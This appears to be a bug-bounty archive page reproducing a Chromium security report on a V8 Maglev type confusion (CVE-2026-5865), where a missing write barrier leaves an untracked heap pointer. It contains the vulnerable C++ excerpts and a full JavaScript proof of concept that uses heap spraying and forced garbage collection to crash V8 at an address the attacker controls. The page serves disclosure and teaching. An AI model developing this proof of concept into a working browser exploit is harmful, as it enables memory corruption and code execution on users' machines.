Skip to content
Memory corruption Advisory Advanced CVE-2026-5865

Type Confusion in V8 (CVE-2026-5865)

A type confusion in V8's Maglev compiler causes an incorrect phi untagging that leads to a missing write barrier when storing a value into a Smi field. An attacker could exploit this to create an untracked pointer to a heap object, potentially leading to memory corruption and a crash.

pjwhatforlunch Follow

Originally disclosed on Chrome VRP

  • Fix shipped in 27 days

Security Bug

Important: Please do not change the component of this bug manually.

Please READ THIS FAQ before filing a bug: https://chromium.googlesource.com/chromium/src/+/HEAD/docs/security/faq.md

Please see the following link for instructions on filing security bugs: https://www.chromium.org/Home/chromium-security/reporting-security-bugs

Reports may be eligible for reward payments under the Chrome VRP: https://g.co/chrome/vrp

NOTE: Security bugs are normally made public once a fix has been widely deployed.

VULNERABILITY DETAILS

Maglev: incorrect phi untagging can lead to exploitable write barrier omission

In MaglevRepresentationSelector::EnsurePhiInputsTagged,

C++
void MaglevPhiRepresentationSelector::EnsurePhiInputsTagged(Phi* phi) {
  // Since we are untagging some Phis, it's possible that one of the inputs of
  // {phi} is an untagged Phi. However, if this function is called, then we've
  // decided that {phi} is going to stay tagged, and thus, all of its inputs
  // should be tagged. We'll thus insert tagging operation on the untagged phi
  // inputs of {phi}.

  const int skip_backedge = phi->is_loop_phi() ? 1 : 0;
  for (int i = 0; i < phi->input_count() - skip_backedge; i++) {
    ValueNode* input = phi->input(i).node();
    if (Phi* phi_input = input->TryCast<Phi>()) {
      phi->change_input(i,
                        EnsurePhiTagged(phi_input, phi->predecessor_at(i),
                                        BasicBlockPosition::End(), nullptr, i));
    } else {
      // Inputs of Phis that aren't Phi should always be tagged (except for the
      // phis untagged by this class, but {phi} isn't one of them).
      DCHECK(input->is_tagged());
    }
  }
}

That call does not pass force_smi. For an Int32 phi, EnsurePhiTagged therefore emits Int32ToNumber[kCanonicalizeSmi].

In MaglevGraphBuilder::TryBuildStoreField,

C++
MaybeReduceResult MaglevGraphBuilder::TryBuildStoreField(
    compiler::PropertyAccessInfo const& access_info, ValueNode* receiver,
    compiler::AccessMode access_mode, compiler::NameRef name) {
  // ...
  if (field_representation.IsSmi()) {
    RETURN_IF_ABORT(GetAccumulatorSmi(UseReprHintRecording::kDoNotRecord));
  }
  // ...
  StoreTaggedMode store_mode = access_info.HasTransitionMap()
                                   ? StoreTaggedMode::kTransitioning
                                   : StoreTaggedMode::kDefault;
  if (field_representation.IsSmi()) {
    RETURN_IF_ABORT(BuildStoreTaggedFieldNoWriteBarrier(
        store_target, value, field_index.offset(), store_mode, name));
  }
  // ...
}

considering the following JavaScript code:

JavaScript
function f(a, b, x) {
  let y = a ? x + 1 : 1;
  let t = y | 0;
  let z = b ? y : 1;
  obj.x = z;
  return obj.x;
}

The first phi y is untagged toInt32 because of y | 0. And EnsurePhiInputsTagged retags it for the outer tagged phi z. If the function is warmed up with Smi, then it will use BuildStoreTaggedFieldNoWriteBarrier for the obj.x = z store. If x is 1073741823, the a ? x + 1 : 1 branch produces 1073741824, which is outside the 31-bit Smi range. Int32ToNumber[kCanonicalizeSmi] therefore creates a HeapNumber, but the Smi-field store still skips the barrier, which creates an untracked pointer to a heap object.

The following POC demonstrates a SIGSEGV in cage + controlled address (set by MARKER) on release build.

JavaScript
const MAX_SMI = 1073741823;

function i2f(high32, low32) {
  const buf = new ArrayBuffer(8);
  const dv = new DataView(buf);
  dv.setUint32(0, low32, true);
  dv.setUint32(4, high32, true);
  return dv.getFloat64(0, true);
}

function nestedPhiStore(o, a, b, x) {
  let y;
  if (a) {
    y = x + 1;
  } else {
    y = 1;
  }

  const t = y | 0;

  let z;
  if (b) {
    z = y;
  } else {
    z = 1;
  }

  o.x = z;
  return t;
}

// SEGV at MARKER
const MARKER = i2f(0x2578877f, 0x25788785);

const obj = {x: 1};

for (let i = 0; i < 4; i++) {
  gc();
}

print("marker =", MARKER);
print("young(obj) before warmup =", %InYoungGeneration(obj));

%PrepareFunctionForOptimization(nestedPhiStore);
for (let i = 0; i < 2000; i++) {
  nestedPhiStore(obj, true, true, i & 1023);
  nestedPhiStore(obj, false, true, i & 1023);
  nestedPhiStore(obj, true, false, i & 1023);
}

%OptimizeMaglevOnNextCall(nestedPhiStore);
nestedPhiStore(obj, true, true, 7);
nestedPhiStore(obj, true, true, MAX_SMI);

for (let round = 0; round < 120; round++) {
  const tmp = [];
  for (let i = 0; i < 20000; i++) {
    tmp.push({i, a: MARKER, b: 2.2, c: 3.3});
  }

  if ((round % 10) === 9) {
    print("completed round", round + 1);
  }
}

print("forcing major gc");
gc({ type: "major" });

print("about to read corrupted slot");
print(obj.x + 0.5);

VERSION

Commit: f285826766bdccddf9ccdabb3f47a3552eafebdb (Wed Mar 11 19:54:08 2026)

Bisect: commit 58c40ce533c9a5fc8a21cfae979880c0320862d8 (Mon Jan 19 19:13:44 2026 +0100) introduces the problem.

REPRODUCTION CASE

exp.js is attached. Please run with:

out.gn/x64.release/d8 --allow-natives-syntax --expose-gc --maglev-untagged-phis ./exp.js

args.gn

dcheck_always_on = false
is_debug = false
target_cpu = "x64"
is_component_build = false
v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true
v8_enable_sandbox = false

Please attach files directly, not in zip or other archive formats, and if you've created a demonstration site please also attach the files needed to reproduce the demonstration locally.

FOR CRASHES, PLEASE INCLUDE THE FOLLOWING ADDITIONAL INFORMATION

Type of crash: DCHECK failure, SEGV on release

CREDIT INFORMATION

Externally reported security bugs may appear in Chrome release notes. If this bug is included, how would you like to be credited?

Reporter credit: Project WhatForLunch (@pjwhatforlunch)

The original report as published on the Chromium issue tracker, by Project WhatForLunch (@pjwhatforlunch). Images and videos are our own copies; raw HTML is shown as text. View it on Chromium issue tracker.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the call to EnsurePhiTagged in EnsurePhiInputsTagged does not pass force_smi, so for an Int32 phi it emits Int32ToNumber[kCanonicalizeSmi] which can produce a HeapNumber, but the subsequent store to a Smi field uses a no-write-barrier path, creating an untracked pointer.

Impact

This could lead to memory corruption and potentially remote code execution, as demonstrated by a SIGSEGV in a release build.

What the attacker needed

Victim runs crafted JavaScript; V8 with Maglev enabled

How it was found

  1. Warm up the function with Smi values to trigger the no-write-barrier store path.
  2. Call the function with x = 1073741823 so that x + 1 = 1073741824, which is outside the Smi range.
  3. The Int32ToNumber[kCanonicalizeSmi] creates a HeapNumber, but the store to the Smi field skips the write barrier.
  4. Trigger garbage collection to observe the untracked pointer and cause a crash.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

V8 is the JavaScript engine in Chrome. Maglev is a compiler inside V8 that optimises code. A phi node is a compiler concept for merging values from different branches. The bug is that when the compiler decides a value is a small integer (Smi), it may skip a safety step (write barrier) when storing it, but the value can actually be a heap object, causing memory corruption.

What is Memory corruption?

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.

More by pjwhatforlunch

View all

2 more disclosed reports, best first.

More from Google Chrome

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.